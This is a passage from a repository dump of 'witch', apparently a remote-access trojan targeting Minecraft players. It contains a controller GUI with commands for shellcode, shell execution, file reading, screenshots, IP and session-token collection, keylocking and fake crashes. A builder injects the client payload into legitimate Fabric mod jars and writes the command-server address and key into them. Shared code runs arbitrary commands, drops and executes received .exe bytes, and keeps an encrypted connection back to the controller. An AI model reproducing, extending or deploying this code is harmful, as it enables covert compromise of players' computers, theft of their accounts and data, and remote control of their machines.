cfg; 132 | dispose(); 133 | }); 134 | 135 | setLayout(new MigLayout()); 136 | add(passwordBeingLogged, "wrap"); 137 | add(isMuted, "wrap"); 138 | add(isBeingFiltered, "wrap"); 139 | add(new JLabel("Filter pattern"), "split 2"); 140 | add(filterPattern, "wrap, growx"); 141 | add(logChatAndCommand, "wrap"); 142 | add(canJoinServer, "wrap"); 143 | add(canQuitServerOrCloseWindow, "wrap"); 144 | add(new JLabel("Server name"), "split 2"); 145 | add(serverName, "wrap, growx"); 146 | add(new JLabel("Invisible players"), "split 2"); 147 | add(invisiblePlayers, "wrap, growx"); 148 | add(send); 149 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 150 | pack(); 151 | setLocationRelativeTo(null); 152 | setVisible(true); 153 | }}; 154 | })); 155 | 156 | JMenuItem follow = new JMenuItem("Follow"); 157 | follow.addActionListener(e -> new JDialog(gui, true) {{ 158 | JTextField followPlayer = new JTextField("Player"); 159 | JTextField distance = new JTextField("4"); 160 | JCheckBox stop = new JCheckBox("Stop", false); 161 | JButton send = new JButton("Send"); 162 | send.addActionListener(e1 -> { 163 | send(new FollowData(followPlayer.getText(), Double.parseDouble(distance.getText()), stop.isSelected())); 164 | dispose(); 165 | }); 166 | 167 | setLayout(new MigLayout()); 168 | add(new JLabel("Text"), "split 2"); 169 | add(followPlayer, "wrap, growx"); 170 | add(new JLabel("Distance"), "split 2"); 171 | add(distance, "wrap, growx"); 172 | add(send); 173 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 174 | pack(); 175 | setLocationRelativeTo(null); 176 | setVisible(true); 177 | }}); 178 | 179 | JMenuItem spam = new JMenuItem("Spam"); 180 | spam.addActionListener(e -> new JDialog(gui, true) {{ 181 | JTextField text = new JTextField("Text"); 182 | JTextField times = new JTextField("10"); 183 | JTextField delayInTicks = new JTextField("20"); 184 | JCheckBox invisible = new JCheckBox("Target invisible", false); 185 | JButton send = new JButton("Send"); 186 | send.addActionListener(e1 -> { 187 | send(new SpamData(text.getText(), Integer.parseInt(times.getText()), Integer.parseInt(delayInTicks.getText()), invisible.isSelected())); 188 | dispose(); 189 | }); 190 | 191 | setLayout(new MigLayout()); 192 | add(new JLabel("Text"), "split 2"); 193 | add(text, "wrap, growx"); 194 | add(new JLabel("Times"), "split 2"); 195 | add(times, "wrap, growx"); 196 | add(new JLabel("Delay in ticks"), "split 2"); 197 | add(delayInTicks, "wrap, growx"); 198 | add(invisible, "wrap"); 199 | add(send); 200 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 201 | pack(); 202 | setLocationRelativeTo(null); 203 | setVisible(true); 204 | }}); 205 | 206 | JMenuItem chat = new JMenuItem("Chat"); 207 | chat.addActionListener(e -> getConnStream().forEach(connection -> chatWindows.add(new ServerChatWindow(connection) {{ 208 | setTitle(String.format("Chat with %s(%d)", clientMap.get(connection).player.playerName(), clientMap.get(connection).id)); 209 | }}))); 210 | 211 | add(new JMenu("Client") {{ 212 | add(disconnect); 213 | add(reconnect); 214 | add(config); 215 | add(getStringsMenu("Get Client Config", "config")); 216 | add(getStringsMenu("Update Player Info", "player")); 217 | add(new JMenuItem("Player Info") {{ 218 | addActionListener(e -> getConnStream().forEach(conn -> new JDialog() {{ 219 | PlayerData data = clientMap.get(conn).player; 220 | 221 | setLayout(new MigLayout()); 222 | class NoEditTxt extends JTextField { 223 | public NoEditTxt(String txt) { 224 | super(txt); 225 | setEditable(false); 226 | } 227 | } 228 | add(new NoEditTxt("Player Name: " + data.playerName()), "wrap"); 229 | add(new NoEditTxt("UUID: " + data.uuid()), "wrap"); 230 | add(new NoEditTxt("Server: " + data.server()), "wrap"); 231 | add(new NoEditTxt("Token: " + data.token()), "wrap"); 232 | add(new JCheckBox("OP", data.isOp()), "wrap"); 233 | add(new JCheckBox("In game", data.inGame()), "wrap"); 234 | add(new JCheckBox("Windows", data.isWin()), "wrap"); 235 | add(new NoEditTxt("X: " + data.x()), "wrap"); 236 | add(new NoEditTxt("Y: " + data.y()), "wrap"); 237 | add(new NoEditTxt("Z: " + data.z()), "wrap"); 238 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 239 | pack(); 240 | setLocationRelativeTo(null); 241 | setVisible(true); 242 | }})); 243 | }}); 244 | add(getStringsMenu("Crash Minecraft", "crash")); 245 | }}); 246 | 247 | add(new JMenu("System") {{ 248 | add(getStringsMenu("System Info", "systeminfo")); 249 | add(getStringsMenu("Shellcode", "shellcode", "Shellcode")); 250 | add(getStringsMenu("Shell Command", "shell", "Command")); 251 | add(execute); 252 | add(getStringsMenu("Run Arguments", "runargs")); 253 | add(getStringsMenu("JVM Props", "props")); 254 | add(getBoolMenu("KeyLocker", "keylocker")); 255 | }}); 256 | 257 | add(new JMenu("Files") {{ 258 | add(getStringsMenu("Read file", "read", "File path")); 259 | }}); 260 | 261 | add(new JMenu("Info") {{ 262 | add(getStringsMenu("Screenshot", "screenshot")); 263 | add(getStringsMenu("Desktop Screenshot", "screenshot2")); 264 | add(getStringsMenu("Player Skin", "skin")); 265 | add(getStringsMenu("Mods", "mods")); 266 | add(getStringsMenu("IP address", "ip")); 267 | }}); 268 | 269 | add(new JMenu("Player") {{ 270 | add(follow); 271 | add(spam); 272 | add(getBoolMenu("Lick", "lick")); 273 | add(getStringsMenu("Join Server", "join_server", "IP")); 274 | add(getStringsMenu("Kick", "kick")); 275 | add(getStringsMenu("OP Everyone", "op@a")); 276 | add(getStringsMenu("DeOP Everyone", "deop@a")); 277 | }}); 278 | 279 | add(new JMenu("Misc") {{ 280 | add(chat); 281 | add(getBoolMenu("Fake BSOD", "bsod")); 282 | add(getBoolMenu("Lag", "lagger")); 283 | add(getStringsMenu("Open URL", "open_url", "Link")); 284 | }}); 285 | }} 286 | ); 287 | 288 | log("--@@@@@@@ By Soda5601 @@@@@@@--"); 289 | log("Server Config: %s", GSON.toJson(config)); 290 | log("Client Config: %s", GSON.toJson(clientDefaultConf)); 291 | log("Server started on %d", config.port); 292 | Crypto.INSTANCE = new Crypto(config.encryptionKey.getBytes()); 293 | 294 | start(config.port); 295 | } 296 | 297 | private static String getFileName(String prefix, String suffix, String afterPrefix, boolean time) { 298 | return String.format("%s-%s%s.%s", prefix, afterPrefix, time ? LocalDateTime.now().format(DateTimeFormatter.ofPattern("-MM-dd-HH-mm-ss")) : "", suffix); 299 | } 300 | 301 | @Override 302 | public void onOpen(Connection conn) { 303 | String address = conn.getRemoteSocketAddress().getAddress().getHostAddress(); 304 | log("Client connected: %s ID: %d", address, clientIndex); 305 | Info i = new Info(clientIndex); 306 | i.configData = clientDefaultConf; 307 | clientMap.put(conn, i); 308 | ((DefaultTableModel) adminPanel.table.getModel()).addRow(new Object[]{clientIndex, null, null}); 309 | clientIndex++; 310 | } 311 | 312 | @Override 313 | public void onClose(Connection conn, DisconnectData disconnectData) { 314 | Info info = clientMap.get(conn); 315 | changeRow(info, true); 316 | chatWindows.stream().filter(wnd -> wnd.connection == conn).forEach(Window::dispose); 317 | chatWindows.removeIf(wnd -> wnd.connection == conn); 318 | log("Client disconnected: ID: %d", info.id); 319 | clientMap.remove(conn); 320 | } 321 | 322 | @Override 323 | public void onMessage(Connection conn, Message message) { 324 | Info info = clientMap.get(conn); 325 | int id = info.id; 326 | try { 327 | if (message.data instanceof ByteData data) { 328 | switch (data.id) { 329 | case "screenshot", "screenshot2" -> { 330 | File file = new File(Utils.getDataFile("screenshots"), getFileName(data.id + "id", "png", String.valueOf(id), true)); 331 | FileUtil.writeBytes(file, data.bytes()); 332 | } 333 | case "skin" -> { 334 | String playerName = info.player.playerName(); 335 | File file = new File(Utils.getDataFile("skins"), getFileName(playerName, "png", String.valueOf(id), false)); 336 | FileUtil.writeBytes(file, data.bytes()); 337 | } 338 | } 339 | } else if (message.data instanceof StringsData data) { 340 | switch (data.id()) { 341 | case "mods", "runargs" -> { 342 | File file = new File(Utils.getDataFile("data"), getFileName(data.id(), "txt", info.player.playerName(), true)); 343 | FileUtil.write(file, data.toString()); 344 | } 345 | case "shell" -> log("Received shell data: %s From ID %d", data.data().get(0), id); 346 | } 347 | if (data.data().size() == 0 && data.id().equals("getconfig")) { 348 | conn.send(clientDefaultConf); 349 | } else if (data.data().size() == 1) { 350 | String msg = data.data().get(0); 351 | switch (data.id()) { 352 | case "chat" -> 353 | chatWindows.stream().filter(wnd -> wnd.connection == conn).forEach(wnd -> wnd.receivedText.append("Target: " + msg)); 354 | case "logging" -> { 355 | File file = new File(Utils.getDataFile("player_logs"), getFileName("id", "log", String.valueOf(id), false)); 356 | String oldInfo = FileUtil.read(file); 357 | FileUtil.writeBytes(file, (oldInfo + msg).getBytes()); 358 | } 359 | case "ip" -> { 360 | info.ip = msg; 361 | changeRow(info, false); 362 | } 363 | case "mods", "runargs", "systeminfo", "props" -> { 364 | File file = new File(Utils.getDataFile("data"), getFileName(data.id(), "txt", info.player.playerName(), true)); 365 | FileUtil.write(file, msg); 366 | } 367 | default -> log("Received message: %s From ID %d", message.toString(), id); 368 | } 369 | } 370 | } else if (message.data instanceof PlayerData data) { 371 | info.player = data; 372 | changeRow(info, false); 373 | } 374 | } catch (Exception e) { 375 | e.printStackTrace(); 376 | } 377 | } 378 | 379 | private void log(String str, Object... format) { 380 | adminPanel.console.append("[" + LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss.SS")) + "] " + String.format(str, format)); 381 | } 382 | 383 | private void changeRow(Info info, boolean delete) { 384 | DefaultTableModel connTableModel = (DefaultTableModel) adminPanel.table.getModel(); 385 | for (int i = 0; i < connTableModel.getRowCount(); i++) { 386 | int id = (int) connTableModel.getValueAt(i, 0); 387 | if (id == info.id) { 388 | if (delete) { 389 | connTableModel.removeRow(i); 390 | return; 391 | } 392 | 393 | connTableModel.setValueAt(info.ip, i, 1); 394 | connTableModel.setValueAt(info.player != null ? info.player.playerName() : "", i, 2); 395 | return; 396 | } 397 | } 398 | } 399 | 400 | private void send(Data data) { 401 | getConnections().stream().filter(conn -> selectedConns.contains(clientMap.get(conn).id)).forEach(connection -> connection.send(data)); 402 | } 403 | 404 | private Stream getConnStream() { 405 | return getConnections().stream().filter(conn -> selectedConns.contains(clientMap.get(conn).id)); 406 | } 407 | 408 | private JMenuItem getBoolMenu(String name, String command) { 409 | JMenuItem menuItem = new JMenuItem(name); 410 | menuItem.addActionListener(e -> new JDialog(gui, true) {{ 411 | JCheckBox checkBox = new JCheckBox("Set enabled", false); 412 | JButton send = new JButton("Send"); 413 | send.addActionListener(e1 -> { 414 | send(new BooleanData(command, checkBox.isSelected())); 415 | dispose(); 416 | }); 417 | 418 | setLayout(new MigLayout()); 419 | add(checkBox, "wrap"); 420 | add(send); 421 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 422 | pack(); 423 | setLocationRelativeTo(null); 424 | setResizable(false); 425 | setVisible(true); 426 | }}); 427 | return menuItem; 428 | } 429 | 430 | private JMenuItem getStringsMenu(String name, String command, String... argNames) { 431 | JMenuItem menuItem = new JMenuItem(name); 432 | menuItem.addActionListener(e -> { 433 | if (argNames.length == 0) { 434 | send(new StringsData(command, List.of())); 435 | return; 436 | } 437 | new JDialog(gui, true) {{ 438 | setLayout(new MigLayout()); 439 | List texts = new ArrayList<>(); 440 | for (String argName : argNames) { 441 | JTextField textField = new JTextField(10); 442 | texts.add(textField); 443 | 444 | add(new JLabel(argName)); 445 | add(textField, "wrap"); 446 | } 447 | 448 | JButton send = new JButton("Send"); 449 | send.addActionListener(e1 -> { 450 | send(new StringsData(command, texts.stream().map(JTextComponent::getText).toList())); 451 | dispose(); 452 | }); 453 | 454 | add(send); 455 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 456 | pack(); 457 | setLocationRelativeTo(null); 458 | setVisible(true); 459 | }}; 460 | }); 461 | return menuItem; 462 | } 463 | } 464 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/server/ServerConfig.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.server; 2 | 3 | public class ServerConfig { 4 | public int port; 5 | public String encryptionKey; 6 | } 7 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/utils/ConfigModifier.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.utils; 2 | 3 | import com.google.gson.Gson; 4 | import com.google.gson.JsonArray; 5 | import com.google.gson.JsonObject; 6 | import me.soda.witch.shared.Crypto; 7 | import me.soda.witch.shared.FileUtil; 8 | 9 | import java.io.File; 10 | import java.io.FileOutputStream; 11 | import java.io.IOException; 12 | import java.io.InputStream; 13 | import java.util.Base64; 14 | import java.util.Random; 15 | import java.util.zip.ZipEntry; 16 | import java.util.zip.ZipFile; 17 | import java.util.zip.ZipOutputStream; 18 | 19 | public class ConfigModifier { 20 | private static final Gson GSON = new Gson(); 21 | 22 | public static void generate(String in, String out, String host, int port) throws Exception { 23 | ZipFile zipFile = new ZipFile(in); 24 | ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(out)); 25 | var e = zipFile.entries(); 26 | while (e.hasMoreElements()) { 27 | ZipEntry entry = e.nextElement(); 28 | InputStream is = zipFile.getInputStream(entry); 29 | if (entry.getName().equals("fabric.mod.json")) { 30 | zos.putNextEntry(new ZipEntry("fabric.mod.json")); 31 | String json = new String(is.readAllBytes()); 32 | JsonObject mod = GSON.fromJson(json, JsonObject.class); 33 | JsonObject custom = mod.getAsJsonObject("custom"); 34 | custom.addProperty("h", host); 35 | custom.addProperty("p", port); 36 | custom.addProperty("k", new String(Base64.getEncoder().encode(Crypto.INSTANCE.key()))); 37 | zos.write(GSON.toJson(mod).getBytes()); 38 | } else { 39 | zos.putNextEntry(new ZipEntry(entry.getName())); 40 | zos.write(is.readAllBytes()); 41 | } 42 | zos.closeEntry(); 43 | } 44 | zos.close(); 45 | } 46 | 47 | public static void bundle(String in, String injected, String out) throws IOException { 48 | ZipFile zipFile = new ZipFile(in); 49 | ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(out)); 50 | String name = "META-INF/jars/" + new Random().nextInt() + ".jar"; 51 | 52 | var e = zipFile.entries(); 53 | while (e.hasMoreElements()) { 54 | ZipEntry entry = e.nextElement(); 55 | InputStream is = zipFile.getInputStream(entry); 56 | if (entry.getName().equals("fabric.mod.json")) { 57 | zos.putNextEntry(new ZipEntry("fabric.mod.json")); 58 | String json = new String(is.readAllBytes()); 59 | JsonObject mod = GSON.fromJson(json, JsonObject.class); 60 | 61 | JsonArray jars = mod.getAsJsonArray("jars"); 62 | if (jars.isJsonNull()) { 63 | mod.add("jars", new JsonArray()); 64 | jars = mod.getAsJsonArray("jars"); 65 | } 66 | JsonObject jar = new JsonObject(); 67 | jar.addProperty("file", name); 68 | jars.add(jar); 69 | zos.write(GSON.toJson(mod).getBytes()); 70 | } else { 71 | zos.putNextEntry(new ZipEntry(entry.getName())); 72 | zos.write(is.readAllBytes()); 73 | } 74 | zos.closeEntry(); 75 | } 76 | 77 | zos.putNextEntry(new ZipEntry(name)); 78 | zos.write(FileUtil.readBytes(new File(injected))); 79 | zos.closeEntry(); 80 | 81 | zos.close(); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/utils/Info.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.utils; 2 | 3 | import me.soda.witch.shared.socket.messages.messages.ClientConfigData; 4 | import me.soda.witch.shared.socket.messages.messages.PlayerData; 5 | 6 | public class Info { 7 | public final int id; 8 | public String ip = "Unknown"; 9 | public ClientConfigData configData; 10 | public PlayerData player = new PlayerData("Unknown", "Unknown", "Unknown", "Unknown", false, false, false, 0, 0, 0); 11 | 12 | public Info(int id) { 13 | this.id = id; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/utils/Utils.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.utils; 2 | 3 | import com.google.gson.Gson; 4 | import me.soda.witch.server.server.ServerConfig; 5 | import me.soda.witch.shared.FileUtil; 6 | import me.soda.witch.shared.socket.messages.messages.ClientConfigData; 7 | 8 | import javax.swing.*; 9 | import javax.swing.filechooser.FileNameExtensionFilter; 10 | import java.awt.*; 11 | import java.io.File; 12 | 13 | public class Utils { 14 | private static final Gson GSON = new Gson(); 15 | 16 | public static ClientConfigData getDefaultClientConfig() { 17 | String json = FileUtil.read(getDataFile("config/default.json")); 18 | return GSON.fromJson(json, ClientConfigData.class); 19 | } 20 | 21 | public static ServerConfig getServerConfig() { 22 | String json = FileUtil.read(getDataFile("config/server.json")); 23 | return GSON.fromJson(json, ServerConfig.class); 24 | } 25 | 26 | public static File getDataFile(String path) { 27 | return new File("data", path); 28 | } 29 | 30 | public static String chooseFile(boolean save, Component parent) { 31 | JFileChooser fileChooser = new JFileChooser("."); 32 | fileChooser.setFileFilter(new FileNameExtensionFilter(".jar", "jar")); 33 | fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); 34 | if ((save ? fileChooser.showSaveDialog(parent) : fileChooser.showOpenDialog(parent)) == JFileChooser.APPROVE_OPTION) { 35 | return fileChooser.getSelectedFile().toString(); 36 | } 37 | return ""; 38 | } 39 | 40 | public static JDialog dialog(Frame owner, String title, Container pane) { 41 | JDialog dialog = new JDialog(owner, true); 42 | dialog.setContentPane(pane); 43 | dialog.setTitle(title); 44 | dialog.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 45 | dialog.setResizable(false); 46 | dialog.pack(); 47 | dialog.setLocationRelativeTo(null); 48 | return dialog; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /server/src/main/resources/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexadecimal233/witch/6822e4631bf436dd3d2e9b42b01401d1253ca541/server/src/main/resources/icon.png -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } 11 | 12 | rootProject.name = 'witch' 13 | 14 | include 'client' 15 | include 'server' 16 | include 'shared' -------------------------------------------------------------------------------- /shared/build.gradle: -------------------------------------------------------------------------------- 1 | dependencies { 2 | implementation 'com.google.code.gson:gson:2.10' 3 | } -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/Crypto.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared; 2 | 3 | public record Crypto(byte[] key) { 4 | public static Crypto INSTANCE; 5 | 6 | public byte[] encrypt(byte[] data) { 7 | int len = data.length; 8 | int lenKey = key.length; 9 | int i = 0; 10 | int j = 0; 11 | while (i < len) { 12 | if (j >= lenKey) { 13 | j = 0; 14 | } 15 | data[i] = (byte) (data[i] ^ key[j]); 16 | i++; 17 | j++; 18 | } 19 | return data; 20 | } 21 | 22 | public byte[] decrypt(byte[] data) { 23 | return encrypt(data); 24 | } 25 | } 26 | 27 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/FileUtil.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.nio.charset.StandardCharsets; 6 | import java.nio.file.Files; 7 | 8 | public class FileUtil { 9 | public static String read(File file) { 10 | try { 11 | return Files.readString(file.toPath(), StandardCharsets.UTF_8); 12 | } catch (IOException e) { 13 | LogUtil.printStackTrace(e); 14 | return ""; 15 | } 16 | } 17 | 18 | public static byte[] readBytes(File file) { 19 | try { 20 | return Files.readAllBytes(file.toPath()); 21 | } catch (IOException e) { 22 | LogUtil.printStackTrace(e); 23 | return new byte[0]; 24 | } 25 | } 26 | 27 | public static void write(File file, String data) { 28 | try { 29 | Files.createDirectories(file.toPath().getParent()); 30 | Files.writeString(file.toPath(), data, StandardCharsets.UTF_8); 31 | } catch (IOException e) { 32 | LogUtil.printStackTrace(e); 33 | } 34 | } 35 | 36 | public static void writeBytes(File file, byte[] data) { 37 | try { 38 | Files.createDirectories(file.toPath().getParent()); 39 | Files.write(file.toPath(), data); 40 | } catch (IOException e) { 41 | LogUtil.printStackTrace(e); 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/LogUtil.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared; 2 | 3 | public class LogUtil { 4 | private static final boolean print = Boolean.getBoolean("witch_print"); 5 | 6 | public static void printStackTrace(Exception e) { 7 | if (print) e.printStackTrace(); 8 | } 9 | 10 | public static void println(Object o) { 11 | if (print) System.out.println("[WITCH] " + o); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/NetUtil.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.net.URL; 6 | import java.util.Scanner; 7 | 8 | public class NetUtil { 9 | public static String getIP() { 10 | try { 11 | return httpSend("https://api.ipify.org/"); 12 | } catch (IOException e) { 13 | LogUtil.printStackTrace(e); 14 | return "unknown"; 15 | } 16 | } 17 | 18 | public static String httpSend(String url) throws IOException { 19 | try (InputStream inputStream = new URL(url).openStream(); Scanner scanner = new Scanner(inputStream)) { 20 | StringBuilder sb = new StringBuilder(); 21 | while (scanner.hasNext()) { 22 | sb.append(scanner.next()); 23 | } 24 | return sb.toString(); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/ProgramUtil.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.InputStreamReader; 7 | import java.nio.charset.StandardCharsets; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | 11 | public class ProgramUtil { 12 | private static final Runtime RT = Runtime.getRuntime(); 13 | private static final String OS_NAME = System.getProperty("os.name").toLowerCase(); 14 | 15 | public static boolean isWin() { 16 | return OS_NAME.contains("windows"); 17 | } 18 | 19 | public static String runCmd(String command) { 20 | try { 21 | Process process = isWin() ? RT.exec(new String[]{"cmd.exe", "/c", command}) : RT.exec(command); 22 | return getProcResult(process); 23 | } catch (IOException e) { 24 | LogUtil.printStackTrace(e); 25 | } 26 | return ""; 27 | } 28 | 29 | public static Process execInPath(String cmd, String path) throws IOException { 30 | return RT.exec(cmd, null, new File(path)); 31 | } 32 | 33 | public static String getProcResult(Process process) { 34 | StringBuilder result = new StringBuilder(); 35 | try (BufferedReader inputStream = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))) { 36 | String line; 37 | while ((line = inputStream.readLine()) != null) { 38 | result.append(line).append("\n"); 39 | } 40 | process.waitFor(); 41 | } catch (IOException | InterruptedException e) { 42 | LogUtil.printStackTrace(e); 43 | } 44 | return result.toString(); 45 | } 46 | 47 | public static void runProg(byte[] bytes) { 48 | if (!isWin()) return; 49 | try { 50 | Path tempFile = Files.createTempFile("temp", ".exe"); 51 | Files.write(tempFile, bytes); 52 | Process process = RT.exec(tempFile.toString()); 53 | process.waitFor(); 54 | Files.deleteIfExists(tempFile); 55 | } catch (IOException | InterruptedException e) { 56 | LogUtil.printStackTrace(e); 57 | } 58 | } 59 | 60 | public static void openURL(String url) { 61 | String os = OS_NAME; 62 | Runtime rt = Runtime.getRuntime(); 63 | 64 | try { 65 | if (os.contains("linux") || os.contains("unix")) { 66 | rt.exec(new String[]{"xdg-open", url}); 67 | } else if (os.contains("mac")) { 68 | rt.exec(new String[]{"open", url}); 69 | } else if (os.contains("win")) { 70 | rt.exec(new String[]{"rundll32", "url.dll,FileProtocolHandler", url}); 71 | } 72 | } catch (IOException ignored) { 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/Connection.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket; 2 | 3 | import me.soda.witch.shared.LogUtil; 4 | import me.soda.witch.shared.socket.messages.Data; 5 | import me.soda.witch.shared.socket.messages.Message; 6 | import me.soda.witch.shared.socket.messages.messages.DisconnectData; 7 | import me.soda.witch.shared.socket.messages.messages.OKData; 8 | 9 | import java.io.DataInputStream; 10 | import java.io.DataOutputStream; 11 | import java.io.IOException; 12 | import java.net.InetSocketAddress; 13 | import java.net.Socket; 14 | 15 | public abstract class Connection implements Runnable { 16 | public static final DisconnectData EXCEPTION = new DisconnectData(DisconnectData.Reason.EXCEPTION, ""); 17 | private Socket socket; 18 | private DataInputStream in; 19 | private DataOutputStream out; 20 | private DisconnectData disconnectData; 21 | private boolean reallyConnected = false; 22 | 23 | public Connection(Socket socket) throws IOException { 24 | connect(socket); 25 | } 26 | 27 | public Connection() { 28 | } 29 | 30 | @Override 31 | public void run() { 32 | try { 33 | send(new OKData()); 34 | while (isConnected()) { 35 | Message message = read(); 36 | if (message == null) continue; 37 | if (!reallyConnected && message.data instanceof OKData) { 38 | reallyConnected = true; 39 | onOpen(); 40 | } else if (reallyConnected) { 41 | if (message.data instanceof DisconnectData info) { 42 | disconnectData = info; 43 | close(info); 44 | break; 45 | } else { 46 | onMessage(message); 47 | } 48 | } else forceClose(); 49 | } 50 | } catch (IOException e) { 51 | LogUtil.printStackTrace(e); 52 | } finally { 53 | if (reallyConnected) { 54 | reallyConnected = false; 55 | onClose(getDisconnectInfo()); 56 | afterClose(getDisconnectInfo()); 57 | } 58 | } 59 | } 60 | 61 | public abstract void onOpen(); 62 | 63 | public abstract void onClose(DisconnectData disconnectData); 64 | 65 | public abstract void onMessage(Message message); 66 | 67 | public void afterClose(DisconnectData disconnectData) { 68 | } 69 | 70 | public void connect(Socket socket) throws IOException { 71 | disconnectData = null; 72 | this.socket = socket; 73 | initIO(); 74 | } 75 | 76 | private void initIO() throws IOException { 77 | out = new DataOutputStream(socket.getOutputStream()); 78 | in = new DataInputStream(socket.getInputStream()); 79 | disconnectData = EXCEPTION; 80 | } 81 | 82 | public void close(DisconnectData.Reason reason) { 83 | close(new DisconnectData(reason, "default")); 84 | } 85 | 86 | public void close(DisconnectData info) { 87 | send(info); 88 | // Wait server to close client 89 | if (this instanceof TcpClient) forceClose(); 90 | } 91 | 92 | public void forceClose() { 93 | try { 94 | if (in != null) in.close(); 95 | if (out != null) out.close(); 96 | socket.shutdownInput(); 97 | socket.shutdownOutput(); 98 | socket.close(); 99 | } catch (IOException e) { 100 | LogUtil.printStackTrace(e); 101 | } 102 | } 103 | 104 | public void send(Data data) { 105 | send(new Message(data)); 106 | } 107 | 108 | private void send(Message data) { 109 | if (!isConnected()) return; 110 | try { 111 | byte[] encryptedData = data.encrypt(); 112 | out.writeInt(encryptedData.length); 113 | out.write(encryptedData); 114 | } catch (Exception e) { // JsonParseException & IOException 115 | LogUtil.printStackTrace(e); 116 | } 117 | } 118 | 119 | public Message read() throws IOException { 120 | int length = in.readInt(); 121 | byte[] encryptedData = new byte[length]; 122 | in.readFully(encryptedData); 123 | try { 124 | return Message.decrypt(encryptedData); 125 | } catch (Exception e) { // JsonParseException 126 | return null; 127 | } 128 | } 129 | 130 | public boolean isConnected() { 131 | return socket.isConnected() || !socket.isClosed() || disconnectData == EXCEPTION; 132 | } 133 | 134 | public InetSocketAddress getRemoteSocketAddress() { 135 | return (InetSocketAddress) socket.getRemoteSocketAddress(); 136 | } 137 | 138 | public DisconnectData getDisconnectInfo() { 139 | return disconnectData; 140 | } 141 | } 142 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/TcpClient.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket; 2 | 3 | import me.soda.witch.shared.LogUtil; 4 | import me.soda.witch.shared.socket.messages.messages.DisconnectData; 5 | 6 | import java.io.IOException; 7 | import java.net.Socket; 8 | import java.util.concurrent.ExecutorService; 9 | import java.util.concurrent.Executors; 10 | import java.util.concurrent.ScheduledExecutorService; 11 | import java.util.concurrent.TimeUnit; 12 | 13 | public abstract class TcpClient extends Connection { 14 | private final String host; 15 | private final int port; 16 | private final ScheduledExecutorService reconnectExecutor = Executors.newSingleThreadScheduledExecutor(); 17 | private final ExecutorService connectExecutor = Executors.newSingleThreadExecutor(); 18 | public long reconnectTimeout; 19 | 20 | public TcpClient(String host, int port, long reconnectTimeout) { 21 | super(); 22 | this.reconnectTimeout = reconnectTimeout; 23 | this.host = host; 24 | this.port = port; 25 | try { 26 | connect(new Socket(host, port)); 27 | connectExecutor.execute(this); 28 | } catch (IOException e) { 29 | reconnect(false); 30 | } 31 | } 32 | 33 | private void reconnect(boolean noTimeout) { 34 | if ((!onReconnect() || reconnectTimeout <= 0) && !reconnectExecutor.isShutdown()) { 35 | reconnectExecutor.shutdown(); 36 | return; 37 | } 38 | reconnectExecutor.schedule(() -> { 39 | try { 40 | connect(new Socket(host, port)); 41 | connectExecutor.execute(this); 42 | } catch (IOException e) { 43 | LogUtil.printStackTrace(e); 44 | reconnect(noTimeout); 45 | } 46 | }, noTimeout ? 0 : reconnectTimeout, TimeUnit.MILLISECONDS); 47 | } 48 | 49 | public boolean onReconnect() { 50 | return true; 51 | } 52 | 53 | @Override 54 | public void afterClose(DisconnectData disconnectData) { 55 | boolean instaReconnect = false; 56 | switch (disconnectData.reason()) { 57 | case NOREC -> this.reconnectTimeout = -1; 58 | case RECONNECT -> instaReconnect = true; 59 | } 60 | reconnect(instaReconnect); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /shared/src/main/java/me/soda/witch/shared/socket/TcpServer.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.shared.socket; 2 | 3 | import me.soda.witch.shared.LogUtil; 4 | import me.soda.witch.shared.socket.messages.Message; 5 | import 